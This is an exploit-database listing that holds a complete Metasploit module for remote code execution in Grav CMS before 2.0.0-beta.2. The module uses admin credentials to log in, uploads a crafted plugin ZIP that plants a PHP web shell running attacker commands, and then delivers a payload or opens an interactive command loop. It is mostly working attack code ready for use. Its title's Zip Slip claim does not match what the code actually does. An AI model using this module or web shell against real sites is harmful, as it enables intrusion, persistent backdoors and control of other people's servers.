Share
## https://sploitus.com/exploit?id=PACKETSTORM:223788
==================================================================================================================================
| # Title : Grav CMS < 2.0.0-beta.2 Remote Code Execution via Malicious Direct Install Plugin Zip Slip Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://getgrav.org/ |
==================================================================================================================================
[+] Summary : This module exploits a vulnerability in Grav CMS versions prior to 2.0.0-beta.2.
The "Direct Install" feature in the Admin plugin allows administrators to upload plugins as ZIP files.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Grav CMS < 2.0.0-beta.2 - Remote Code Execution via Direct Install',
'Description' => %q{
This module exploits a vulnerability in Grav CMS versions prior to 2.0.0-beta.2.
The "Direct Install" feature in the Admin plugin allows administrators to upload
plugins as ZIP files. The system fails to adequately validate the contents of
the ZIP archive or prevent path traversal (Zip Slip) during extraction.
By crafting a malicious plugin that hooks into Grav events (e.g., onPluginsInitialized),
an attacker can execute arbitrary PHP code or drop a persistent web shell on the
root directory.
Successful exploitation requires administrative credentials for the Grav CMS.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-42607'],
['URL', 'https://github.com/getgrav/grav/security/advisories/GHSA-w48r-jppp-rcfw'],
['URL', 'https://getgrav.org/']
],
'DisclosureDate' => '2026-05-08',
'License' => MSF_LICENSE,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [
['Grav CMS (PHP)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }]
],
'DefaultTarget' => 0,
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base Grav CMS path', '/']),
OptString.new('USERNAME', [true, 'Grav Admin username']),
OptString.new('PASSWORD', [true, 'Grav Admin password']),
OptString.new('PLUGIN_NAME', [false, 'Name of the malicious plugin', 'shellplugin']),
OptString.new('SHELL_FILENAME', [false, 'Name of the webshell file', 'shell.php']),
OptBool.new('USE_SHELL', [true, 'Drop a webshell instead of using payload', true]),
OptInt.new('TIMEOUT', [false, 'HTTP request timeout', 30])
])
end
def grav_base_url
normalize_uri(target_uri.path)
end
def admin_url
normalize_uri(target_uri.path, 'admin')
end
def direct_install_url
normalize_uri(target_uri.path, 'admin', 'tools', 'direct-install')
end
def login_page_url
normalize_uri(target_uri.path, 'admin', 'login')
end
def get_csrf_token
print_status("Fetching CSRF token from login page...")
res = send_request_cgi(
'method' => 'GET',
'uri' => login_page_url
)
if res && res.body
token_match = res.body.match(/name=["'](?:csrf|admin-nonce|__csrf)["']\s+value=["']([a-f0-9]+)["']/i)
if token_match
csrf_token = token_match[1]
print_good("CSRF token obtained: #{csrf_token}")
return csrf_token
end
token_match = res.body.match(/<meta[^>]+name=["'](?:csrf-token|csrf)["'][^>]+content=["']([^"']+)["']/i)
if token_match
csrf_token = token_match[1]
print_good("CSRF token obtained: #{csrf_token}")
return csrf_token
end
end
print_error("Could not extract CSRF token")
nil
end
def authenticate(csrf_token)
print_status("Authenticating to Grav CMS...")
data = {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'admin-nonce' => csrf_token,
'task' => 'login',
'login' => 'Login'
}
res = send_request_cgi(
'method' => 'POST',
'uri' => login_page_url,
'vars_post' => data,
'keep_cookies' => true
)
if res && (res.code == 302 || res.code == 200)
if res.body && res.body.include?('Invalid')
print_error("Authentication failed - invalid credentials")
return false
end
print_good("Authentication successful")
return true
end
print_error("Authentication failed: HTTP #{res&.code}")
false
end
def generate_webshell_payload(shell_filename)
webshell = "<?php\n"
webshell << "if(isset($_REQUEST['cmd'])){\n"
webshell << " echo '<pre>';\n"
webshell << " system($_REQUEST['cmd']);\n"
webshell << " echo '</pre>';\n"
webshell << "}\n"
webshell << "?>\n"
webshell
end
def generate_plugin_php(plugin_name, shell_filename)
plugin_php = "<?php\n"
plugin_php << "namespace Grav\\Plugin;\n"
plugin_php << "use Grav\\Common\\Plugin;\n\n"
plugin_php << "class #{plugin_name.capitalize}Plugin extends Plugin {\n"
plugin_php << " public static function getSubscribedEvents(): array {\n"
plugin_php << " return ['onPluginsInitialized' => ['onPluginsInitialized', 0]];\n"
plugin_php << " }\n"
plugin_php << " public function onPluginsInitialized(): void {\n"
plugin_php << " \$shell_path = GRAV_ROOT . '/#{shell_filename}';\n"
plugin_php << " if (!file_exists(\$shell_path)) {\n"
plugin_php << " \$shell_content = '<?php if(isset($_REQUEST[\"cmd\"])){echo \"<pre>\";system(\$_REQUEST[\"cmd\"]);echo \"</pre>\";} ?>';\n"
plugin_php << " file_put_contents(\$shell_path, \$shell_content);\n"
plugin_php << " }\n"
plugin_php << " }\n"
plugin_php << "}\n"
plugin_php << "?>\n"
plugin_php
end
def generate_blueprints_yaml(plugin_name)
blueprints = <<~YAML
name: #{plugin_name.capitalize}
version: 1.0.0
description: "Plugin installed via direct install"
author:
name: Grav
homepage: https://getgrav.org
license: MIT
form:
validation: loose
fields:
enabled:
type: toggle
label: Plugin status
highlight: 1
default: 1
options:
1: Enabled
0: Disabled
validate:
type: bool
YAML
blueprints
end
def generate_plugin_yaml(plugin_name)
plugin_yaml = <<~YAML
enabled: true
YAML
plugin_yaml
end
def create_malicious_zip(plugin_name, shell_filename)
temp_dir = Dir.mktmpdir
plugin_dir = File.join(temp_dir, plugin_name)
FileUtils.mkdir_p(plugin_dir)
plugin_php = generate_plugin_php(plugin_name, shell_filename)
File.write(File.join(plugin_dir, "#{plugin_name}.php"), plugin_php)
blueprints = generate_blueprints_yaml(plugin_name)
File.write(File.join(plugin_dir, "blueprints.yaml"), blueprints)
plugin_yaml = generate_plugin_yaml(plugin_name)
File.write(File.join(plugin_dir, "#{plugin_name}.yaml"), plugin_yaml)
zip_path = File.join(Dir.tmpdir, "#{plugin_name}.zip")
require 'zip'
Zip::File.open(zip_path, Zip::File::CREATE) do |zipfile|
Dir[File.join(plugin_dir, '**', '**')].each do |file|
next if File.directory?(file)
arcname = file.sub("#{temp_dir}/", '')
zipfile.add(arcname, file)
end
end
zip_data = File.binread(zip_path)
FileUtils.rm_rf(temp_dir)
FileUtils.rm_f(zip_path)
zip_data
end
def upload_plugin(zip_data, plugin_name)
print_status("Uploading malicious plugin #{plugin_name}...")
res = send_request_cgi(
'method' => 'GET',
'uri' => direct_install_url,
'keep_cookies' => true
)
if res && res.body
nonce_match = res.body.match(/name=["']admin-nonce["']\s+value=["']([a-f0-9]+)["']/i)
if nonce_match
admin_nonce = nonce_match[1]
print_good("Admin nonce obtained: #{admin_nonce}")
boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"admin-nonce\"\r\n\r\n"
post_data << "#{admin_nonce}\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"data[file]\"; filename=\"#{plugin_name}.zip\"\r\n"
post_data << "Content-Type: application/zip\r\n\r\n"
post_data << zip_data
post_data << "\r\n--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"task\"\r\n\r\n"
post_data << "direct-install\r\n"
post_data << "--#{boundary}--\r\n"
headers = {
'Content-Type' => "multipart/form-data; boundary=#{boundary}",
'Cookie' => res.headers['Set-Cookie']
}
upload_res = send_request_cgi(
'method' => 'POST',
'uri' => direct_install_url,
'headers' => headers,
'data' => post_data,
'keep_cookies' => true
)
if upload_res && upload_res.code == 302
print_good("Plugin uploaded successfully!")
return true
elsif upload_res && upload_res.body
if upload_res.body.include?('success') || upload_res.body.include?('installed')
print_good("Plugin installed successfully!")
return true
else
print_error("Plugin installation failed: #{upload_res.body[0..200]}")
return false
end
end
end
end
print_error("Failed to upload plugin")
false
end
def trigger_plugin
print_status("Triggering plugin to drop webshell...")
res = send_request_cgi(
'method' => 'GET',
'uri' => grav_base_url,
'keep_cookies' => true
)
if res && (res.code == 200 || res.code == 302)
print_good("Plugin triggered successfully")
return true
end
print_error("Failed to trigger plugin")
false
end
def check_webshell(shell_filename)
shell_url = normalize_uri(target_uri.path, shell_filename)
print_status("Checking webshell at #{shell_url}")
res = send_request_cgi(
'method' => 'GET',
'uri' => shell_url,
'vars_get' => { 'cmd' => 'echo TEST_SHELL' }
)
if res && res.body && res.body.include?('TEST_SHELL')
print_good("Webshell is accessible!")
return shell_url
end
nil
end
def execute_command_via_shell(shell_url, cmd)
res = send_request_cgi(
'method' => 'GET',
'uri' => shell_url,
'vars_get' => { 'cmd' => cmd }
)
if res && res.body
output = res.body
output.gsub!(/<pre>/, '')
output.gsub!(/<\/pre>/, '')
output.strip!
return output
end
nil
end
def exploit
print_status("CVE-2026-42607 - Grav CMS Remote Code Execution")
print_status("Target: #{peer}")
csrf_token = get_csrf_token
if csrf_token.nil?
fail_with(Failure::UnexpectedReply, "Could not obtain CSRF token")
end
unless authenticate(csrf_token)
fail_with(Failure::NoAccess, "Authentication failed. Check credentials.")
end
plugin_name = datastore['PLUGIN_NAME']
shell_filename = datastore['SHELL_FILENAME']
print_status("Creating malicious plugin: #{plugin_name}")
zip_data = create_malicious_zip(plugin_name, shell_filename)
unless upload_plugin(zip_data, plugin_name)
fail_with(Failure::UnexpectedReply, "Failed to upload malicious plugin")
end
trigger_plugin
shell_url = check_webshell(shell_filename)
if shell_url
print_good("Webshell successfully deployed at #{shell_url}")
register_file_for_cleanup(shell_filename)
if datastore['USE_SHELL']
if payload.encoded
b64_payload = Rex::Text.encode_base64(payload.encoded)
download_cmd = "echo '#{b64_payload}' | base64 -d > /tmp/payload.php && php /tmp/payload.php"
execute_command_via_shell(shell_url, download_cmd)
print_status("Payload delivered via webshell")
else
print_good("Interactive shell available at: #{shell_url}?cmd=<command>")
while true
print_line("\n" + "=" * 50)
cmd = Rex::Text::colorize("shell> ", Rex::Text::GREEN)
print(cmd)
cmd = gets.chomp
break if cmd.empty? || cmd == "exit"
output = execute_command_via_shell(shell_url, cmd)
print_line(output) if output
end
end
end
else
print_error("Webshell not found. Plugin may not have been installed correctly.")
end
print_good("Exploit completed")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================